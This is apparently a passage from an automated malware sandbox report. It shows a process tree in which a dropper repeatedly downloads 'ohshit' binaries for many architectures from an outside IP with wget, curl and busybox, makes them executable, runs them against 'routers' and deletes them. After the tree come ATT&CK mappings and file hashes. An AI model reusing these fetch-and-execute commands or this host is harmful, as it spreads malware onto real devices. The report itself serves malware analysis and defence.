  /var/ohshit.ppc routers
  2⤵
  - System Network Configuration Discovery
  PID:986
- /bin/cp
  cp ohshit.ppc /tmp/ohshit.ppc.x
  2⤵
  - Writes file to tmp directory
  PID:988
- /bin/chmod
  chmod +x /tmp/ohshit.ppc.x
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/ohshit.ppc.x
  /tmp/ohshit.ppc.x routers
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/sh
  sh ohshit.ppc routers
  2⤵
  - System Network Configuration Discovery
  PID:992
- /bin/rm
  rm -f ohshit.ppc /dev/shm/ohshit.ppc /var/ohshit.ppc /tmp/ohshit.ppc.x
  2⤵
  PID:993
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.ppc64 http://192.142.28.77/bachekuni/ohshit.ppc64
  2⤵
  - Writes file to shm directory
  PID:994
- /bin/busybox
  busybox wget -q -O ohshit.ppc64 http://192.142.28.77/bachekuni/ohshit.ppc64
  2⤵
  PID:995
- /usr/bin/curl
  curl -fsSLk -o ohshit.ppc64 http://192.142.28.77/bachekuni/ohshit.ppc64
  2⤵
  - Reads runtime system information
  PID:996
- /bin/busybox
  busybox curl -fsSLk -o ohshit.ppc64 http://192.142.28.77/bachekuni/ohshit.ppc64
  2⤵
  PID:997
- /bin/rm
  rm -f ohshit.ppc64 /dev/shm/ohshit.ppc64 /var/ohshit.ppc64 /tmp/ohshit.ppc64.x
  2⤵
  PID:998
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k
  2⤵
  - Writes file to shm directory
  PID:999
- /bin/chmod
  chmod +x ohshit.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /dev/shm/ohshit.m68k
  ./ohshit.m68k routers
  2⤵
  - System Network Configuration Discovery
  PID:1001
- /bin/cp
  cp ohshit.m68k /dev/shm/ohshit.m68k
  2⤵
  - Reads runtime system information
  PID:1003
- /bin/cp
  cp ohshit.m68k /var/ohshit.m68k
  2⤵
  - Reads runtime system information
  PID:1004
- /bin/chmod
  chmod +x /var/ohshit.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /var/ohshit.m68k
  /var/ohshit.m68k routers
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /bin/cp
  cp ohshit.m68k /tmp/ohshit.m68k.x
  2⤵
  - Writes file to tmp directory
  PID:1008
- /bin/chmod
  chmod +x /tmp/ohshit.m68k.x
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /tmp/ohshit.m68k.x
  /tmp/ohshit.m68k.x routers
  2⤵
  - System Network Configuration Discovery
  PID:1010
- /bin/sh
  sh ohshit.m68k routers
  2⤵
  - System Network Configuration Discovery
  PID:1012
- /bin/rm
  rm -f ohshit.m68k /dev/shm/ohshit.m68k /var/ohshit.m68k /tmp/ohshit.m68k.x
  2⤵
  PID:1013
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh4
  2⤵
  - Writes file to shm directory
  PID:1014
- /bin/chmod
  chmod +x ohshit.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1015
- /dev/shm/ohshit.sh4
  ./ohshit.sh4 routers
  2⤵
  - System Network Configuration Discovery
  PID:1016
- /bin/cp
  cp ohshit.sh4 /dev/shm/ohshit.sh4
  2⤵
  - Reads runtime system information
  PID:1018
- /bin/cp
  cp ohshit.sh4 /var/ohshit.sh4
  2⤵
  - Reads runtime system information
  PID:1019
- /bin/chmod
  chmod +x /var/ohshit.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1020
- /var/ohshit.sh4
  /var/ohshit.sh4 routers
  2⤵
  PID:1021
- /bin/cp
  cp ohshit.sh4 /tmp/ohshit.sh4.x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1023
- /bin/chmod
  chmod +x /tmp/ohshit.sh4.x
  2⤵
  - File and Directory Permissions Modification
  PID:1024
- /tmp/ohshit.sh4.x
  /tmp/ohshit.sh4.x routers
  2⤵
  - System Network Configuration Discovery
  PID:1025
- /bin/sh
  sh ohshit.sh4 routers
  2⤵
  - System Network Configuration Discovery
  PID:1027
- /bin/rm
  rm -f ohshit.sh4 /dev/shm/ohshit.sh4 /var/ohshit.sh4 /tmp/ohshit.sh4.x
  2⤵
  PID:1028
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc
  2⤵
  - Writes file to shm directory
  PID:1029
- /bin/chmod
  chmod +x ohshit.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1030
- /dev/shm/ohshit.arc
  ./ohshit.arc routers
  2⤵
  - System Network Configuration Discovery
  PID:1031
- /bin/cp
  cp ohshit.arc /dev/shm/ohshit.arc
  2⤵
  - Reads runtime system information
  PID:1033
- /bin/cp
  cp ohshit.arc /var/ohshit.arc
  2⤵
  PID:1034
- /bin/chmod
  chmod +x /var/ohshit.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1035
- /var/ohshit.arc
  /var/ohshit.arc routers
  2⤵
  - System Network Configuration Discovery
  PID:1036
- /bin/cp
  cp ohshit.arc /tmp/ohshit.arc.x
  2⤵
  - Writes file to tmp directory
  PID:1038
- /bin/chmod
  chmod +x /tmp/ohshit.arc.x
  2⤵
  - File and Directory Permissions Modification
  PID:1039
- /tmp/ohshit.arc.x
  /tmp/ohshit.arc.x routers
  2⤵
  - System Network Configuration Discovery
  PID:1040
- /bin/sh
  sh ohshit.arc routers
  2⤵
  - System Network Configuration Discovery
  PID:1042
- /bin/rm
  rm -f ohshit.arc /dev/shm/ohshit.arc /var/ohshit.arc /tmp/ohshit.arc.x
  2⤵
  PID:1043
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc
  2⤵
  - Writes file to shm directory
  PID:1044
- /bin/chmod
  chmod +x ohshit.spc
  2⤵
  - File and Directory Permissions Modification
  PID:1045
- /dev/shm/ohshit.spc
  ./ohshit.spc routers
  2⤵
  - System Network Configuration Discovery
  PID:1046
- /bin/cp
  cp ohshit.spc /dev/shm/ohshit.spc
  2⤵
  PID:1048
- /bin/cp
  cp ohshit.spc /var/ohshit.spc
  2⤵
  - Reads runtime system information
  PID:1049
- /bin/chmod
  chmod +x /var/ohshit.spc
  2⤵
  - File and Directory Permissions Modification
  PID:1050
- /var/ohshit.spc
  /var/ohshit.spc routers
  2⤵
  - System Network Configuration Discovery
  PID:1051
- /bin/cp
  cp ohshit.spc /tmp/ohshit.spc.x
  2⤵
  - Writes file to tmp directory
  PID:1053
- /bin/chmod
  chmod +x /tmp/ohshit.spc.x
  2⤵
  - File and Directory Permissions Modification
  PID:1054
- /tmp/ohshit.spc.x
  /tmp/ohshit.spc.x routers
  2⤵
  - System Network Configuration Discovery
  PID:1055
- /bin/sh
  sh ohshit.spc routers
  2⤵
  - System Network Configuration Discovery
  PID:1057
- /bin/rm
  rm -f ohshit.spc /dev/shm/ohshit.spc /var/ohshit.spc /tmp/ohshit.spc.x
  2⤵
  PID:1058
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.riscv64 http://192.142.28.77/bachekuni/ohshit.riscv64
  2⤵
  - Writes file to shm directory
  PID:1059
- /bin/busybox
  busybox wget -q -O ohshit.riscv64 http://192.142.28.77/bachekuni/ohshit.riscv64
  2⤵
  PID:1060
- /usr/bin/curl
  curl -fsSLk -o ohshit.riscv64 http://192.142.28.77/bachekuni/ohshit.riscv64
  2⤵
  PID:1061
- /bin/busybox
  busybox curl -fsSLk -o ohshit.riscv64 http://192.142.28.77/bachekuni/ohshit.riscv64
  2⤵
  PID:1062
- /bin/rm
  rm -f ohshit.riscv64 /dev/shm/ohshit.riscv64 /var/ohshit.riscv64 /tmp/ohshit.riscv64.x
  2⤵
  PID:1063
- /bin/rm
  rm -f /tmp/31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
  2⤵
  PID:1064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ohshit.arc

Path /dev/shm/ohshit.arc
Size 161KB
SHA256 4a75c5d3fade1815d3f14d4da775111370d769cc48284ea78a6314c1f717b903
MD5 becffac560f9dedba3131abb0ae92ac8
SHA1 5166fd46878814154d5d218723b841a4a5024d39
SHA512 c2326d7f754f004e758ccc42ddc4776c365b318f238f384f3af25e4a8687aa9f30925917fdf11f4647ff29e59737b30d332eff839b04666a6d5fdfe6261b6b83
SSDEEP 3072:sH7jzPVf6jQiDhiE+flFJ6qoRNaPRgl6UWcz3q:shyjQmyJIXz3q
TLSH
T1F5F39C93F3030491D46689F113CB7B8CAEA34137DE6BA4E3FC1A4976A9694DF0126BD1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.arm

Path /dev/shm/ohshit.arm
Size 134KB
SHA256 9ae7aacca1d705eb31cb6e9cdf320b474382c847597ac669ec4051da9f51d234
MD5 49a55e6d234640cbbf0a38bfd50c8ede
SHA1 34d72107d2e1e3fbe89a061175dc40606701ba81
SHA512 811f29fdd64d6c4d7771a8f656ef657af51ad10c8ab92d5cefc8feccfc2c22baa0390dcd2debaff4c4f9ddc6ea07ead8066e4a4129a31b6f302e94372faccb98
SSDEEP 3072:uW8PclkTVKgirEa09YgD48rYg4oQWEMlX6UWaFKW:uW8PclAKgi4a0P88kgUJE7FKW
TLSH
T13DD33A82F9418956C5D606F3B62E22CD7B5603BAE3DB3203ED154F11778695F0A3BAD0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.arm5

Path /dev/shm/ohshit.arm5
Size 97KB
SHA256 6d87ae2ed432257f12b073709ea0668ec25548cb31281f53ff891a7eb3ac5f3e
MD5 7c81ed655d4aa25cf0e537f4f2b6c66e
SHA1 fcd1f6f20fe5e86a7c33a159fd942802dbf4e33e
SHA512 7a028d33be754b25e3636e110ba459d01ae4d964952b8bd56f301fced02448e2278bac5e264a2d7c7d80b95395bda459fd85dfdcbed8f82843346c79699a584f
SSDEEP 1536:X0Eq0pzKy5gttUbq0O9WW1V6OQvYxMG9zKvDhMSblPqQ2y2AO96UWPJzK+b:Tq0pzKsgtUbMWPvO9iDFZPY6UW5Ku
TLSH
T189A33982F99284AEC2D406F2227E768D37A253F6D1DB3153EC154B127B8965F0A36FD0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.arm6

Path /dev/shm/ohshit.arm6
Size 142KB
SHA256 8ab15f9d27798b9308f8272ff3ab51cf3188b153c05db5d774a2cb5081576afd
MD5 01c8836d85947a152d81a905b71e80dd
SHA1 8ea8dd8e73c3239447c05996568779c882ebc673
SHA512 ac48eeac63db8263d0d8c6fce05749ac6fe7feeb49f9eb898074e67a8cb70d9b29feb0982b3d2206a684a72e818ceba5b72e8231161ec5009cef2dd08af1d0dd
SSDEEP 3072:7BPATNeAU+YMAOiwap3t1aCbaa0cJIsGqdfH6UWzKh:7BPkN9RA7p3DalqIsGIWKh
TLSH
T197E35C43E9818965D1D601F6BA2E318D335303BAE3EF7213ED144F20778A99F0A77A95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.arm7

Path /dev/shm/ohshit.arm7
Size 221KB
SHA256 8d5eec24052138e24c1342dc054a8e25d2837027b27cfcd7c4f1a7aea597dbbf
MD5 d9d98306be7d9e7a1ab6027b9ff92f47
SHA1 442ed04c5c57159906bc3bf166c9ee7db95b387b
SHA512 9f05879d0904a7726779515f781e868525bc827fd3335e4ad911e9e922d617c5f818a7c155bf856de6ea6e2fd52092d791d68225cd472726833f838b1f8c98c3
SSDEEP 6144:toqC1uLDadfkQf1DpFJfDiZ08K/zi5GM/9gW2Ku:toF1uLDaBkQfFpFJLE0cn/KL
TLSH
T17B243A43EB408953C0D617B6B6AF624533238775D3EB7306E9186FB03B8669E0E37685
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.i686

Path /dev/shm/ohshit.i686
Size 129KB
SHA256 c8545034cd4fe71eeadb24dacddc5da95c4311c7112c299f1325801f3e06f928
MD5 6c533f0ae1236042ce2ac05e81719feb
SHA1 7170172f780599e295bf76fbaf8f2dcde28d955e
SHA512 ff0f22f506217fa0bb5ec904e5f1dc5bf0389b7784555a4f8ccdb0d92bd0afe4fab47936b22111ce54d741c9b4fd20ef190e03fbff35ffd8979f4356a373d6c3
SSDEEP 3072:C1HC8MoqKmibjuoJPsXy8bhXKqIWBpLkizyP62MIT:iEi/uoJPsB33IuIT
TLSH
T1B2D32A86F68780F6E41B88706067B23FCA32857E8033D65AFF955E71EE2758651323C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.m68k

Path /dev/shm/ohshit.m68k
Size 140KB
SHA256 e9f77036f5b9a26c6037cc30b362e618e0f8296ec38bf9bef475acad1a9e0467
MD5 a32dcc952cf1f64ae74b08e260e92911
SHA1 b6c1a5bf689bed0588fe9bef864d58b8c2819014
SHA512 3438778bc4a6272e98d74c8225ac3d80dfd16ff2d456c8fe539b2ce05d7bfb87dd0c225ffa8cfde22c67f64c7d47d3517c5b5f23564eb15d9d6863be492f4605
SSDEEP 3072:fsHV5US0QnM8H3YnWgRKdURxgyvus+PvtLMdWZLIV6n0xg:kEwM8XYntpOyvhiv1MWIO0xg
TLSH
T16EE34AC3F501CDBEF80AD9B340232915A832C37769935763B257BE63AC361D5182AED6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.mips

Path /dev/shm/ohshit.mips
Size 169KB
SHA256 f9ec1b33dfc61dad616223f2eef5a80d3b9b9165e9035b574eb436b34a78ee8e
MD5 f46d6f12245effbc5162c077ee1203b9
SHA1 da7910d7cd36c83e0da9434fd6f0f814f243af9e
SHA512 d319ad7bd119fefc79f57eb6760c6cb0ac4ad46ea4ab4b8e59199fe793bc28feb0b848628c2da226944719d4a584cfe80b4daf5c23673720caaa81922b1d4ec3
SSDEEP 3072:Kr2ZBqHbvDmJK9IPluOJI2sSKaShvFO8lI2K8dkngny6UWx8Acyx:Kr2Lq2JK9uoOJI2IhvFO8lnK8ht8AcY
TLSH
T1A304E70EAF214F7DF7A8C57103B36E65965913A72AD2D6C1D16CDA007E6028E242FBF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.mpsl

Path /dev/shm/ohshit.mpsl
Size 173KB
SHA256 9ad88e310633406c46aff5b7130ca6a2a3cdb0d70781001838e50a9f5f35e415
MD5 369bf2e293d6f6871f510d693eb21213
SHA1 2e188e96262b05d04dc615acbfa1f0b42cbf33a6
SHA512 25f45b2a8efc3587a4fc7ad680fd28f1cb2007c67b922ebbddbdb5a14dd6674dbffdf3b5b15f4a60df22e9118475b0e255a7e327f1b92c5e9379d2c981860438
SSDEEP 3072:yUgC91AdIK6l5nDsgowqyX/FFVa6UWZ8u1:yKAdIK85nDsXwqyL8u
TLSH
T17604F806EBA11EFBE4AFCC7706E96701188D462721B93BB6B570C418F64A58F15E3DB0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.ppc

Path /dev/shm/ohshit.ppc
Size 130KB
SHA256 ccb82d2519b1e47d3cbc68aee066d76a41faaf096a7ef76f26ff06fbfd9b7cb9
MD5 833c3164a8c6ae37d49b2d931f19789b
SHA1 6fb41b1f8c5836c04581f2c3abe244f5447b981d
SHA512 6b238f38f09b353d5515f78c57fe5ffe5d31d82ca4303d1831447cea15e24d5da87357b92cb9ed21ddfb250381a89b0d6bf71d5c3b1234b8056216287fe92422
SSDEEP 1536:HLrTTu6SAgcNjv3bdHcA4VJscQyoE8JnMbciihAbmwt0Q2y2AO96UWUJN87//Apv:Hf6us3Tx8JMb8DL6UW487/Ip6Q
TLSH
T1DED35C03F3080A87D1664CF1293F37E4CBEBC17650B5F68AB50A8B4595B69BB0556FC8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.sh4

Path /dev/shm/ohshit.sh4
Size 121KB
SHA256 e9b874205ac4ea08be239ae98cfc17a51c6fa8dada1c8a4340a499178a5a0e6f
MD5 c3dfc2b3d4a34a831a1953c8dff738ce
SHA1 2fd031f8fa82293a7e68bdee171c8c37868b4a4d
SHA512 71e7ab04d0e12a096ba1025e167dbb568b4f8911a7b7529219154059cbd35bd8518f4ff4e72e028a7a8c1f843d2885920d50282702f69bf163a1f87710359903
SSDEEP 3072:EhfGBF6RqM+vloyQQRibDJdlII6UWm8d:Eh+Kp+N+hBcg8d
TLSH
T147C38D13D6500CD8D11888F23065BA749BA3823B55632DF7F59ACEA5988BEDD3039BF0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.spc

Path /dev/shm/ohshit.spc
Size 135KB
SHA256 69e3b714d2a4fac4a6ba67c144a248714349c094d48fb40b2f11ddaff72ee27c
MD5 2e01679e7d06069f8beb9fc45d9b0f29
SHA1 0108269aa827355566bb80f76f3a62ccb6038c93
SHA512 b94025954c03d4828de6d450b5a3e4e6e241eb1734d00ade172aef0ed57bc35146fd24cb981e4e1b1bfc660b8fc53d3c508f2ada8cbfb042c7ca00252744112b
SSDEEP 1536:b2S9MLRRNjWDlUtuWesyHTAB3AEHJhQ53klIuxR5c2rKHZfttJNm5CSlU8rktdQh:hwNyJMesyH0QQp9rI/JNOL5qUGFcBx
TLSH
T1D5D36B23E635082BC1E494B321B36361E4F6036F14B9AA4FBD720E88FF159942167BF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.x86

Path /dev/shm/ohshit.x86
Size 121KB
SHA256 3ad48bae18b7ea8e7ffe3608b6eeaa4673b6ff47e9e6a21def774eecba66364a
MD5 59b98f52977620c5e3356981226afc7a
SHA1 95940e97688109bec4bb27124828abff8272119a
SHA512 dbf44d491da3af06e5df39e1187f0ff7ed47560c4aea16eac0a1389ce45985f47a1dfccefc9741ebceaef51aeda9ddf9af76d92362dd7b76a87397bc444d7d06
SSDEEP 3072:P43/Qco2DWxDoB7SFM2L3GeCxDYKDen621IS:P4vDDWtoB7iNLQle/IS
TLSH
T111C329C6E347C0FAE81508F1216BB73299B7C13F542BDA93EB654D61BD529828036BDC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.x86_64

Path /dev/shm/ohshit.x86_64
Size 139KB
SHA256 88d028a54a136782982817d1d93c89b075b7f04897b0c0681311add7c8712eb6
MD5 c3406825be3171f85be5992c232114e1
SHA1 b25420bc4f64cec574015d962e96e6a04e94695f
SHA512 b081490bb89da8993d18e3c55df4c213690b971ae7eec75f93bb54df5961a4b37c056f71049b6b2abe3c445b1089cf06994536abdfb1654d4b57738ddc223c2e
SSDEEP 3072:62R2vF3Iu3zJk9T8lhfbqcL1dQ0mnqmLI2:6I2vNIoJkgXRdkI2
TLSH
T157D33903F6C148FDC068C5B013BF7131D972F4AE523A7287BB94AE216D4EE951639AD1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads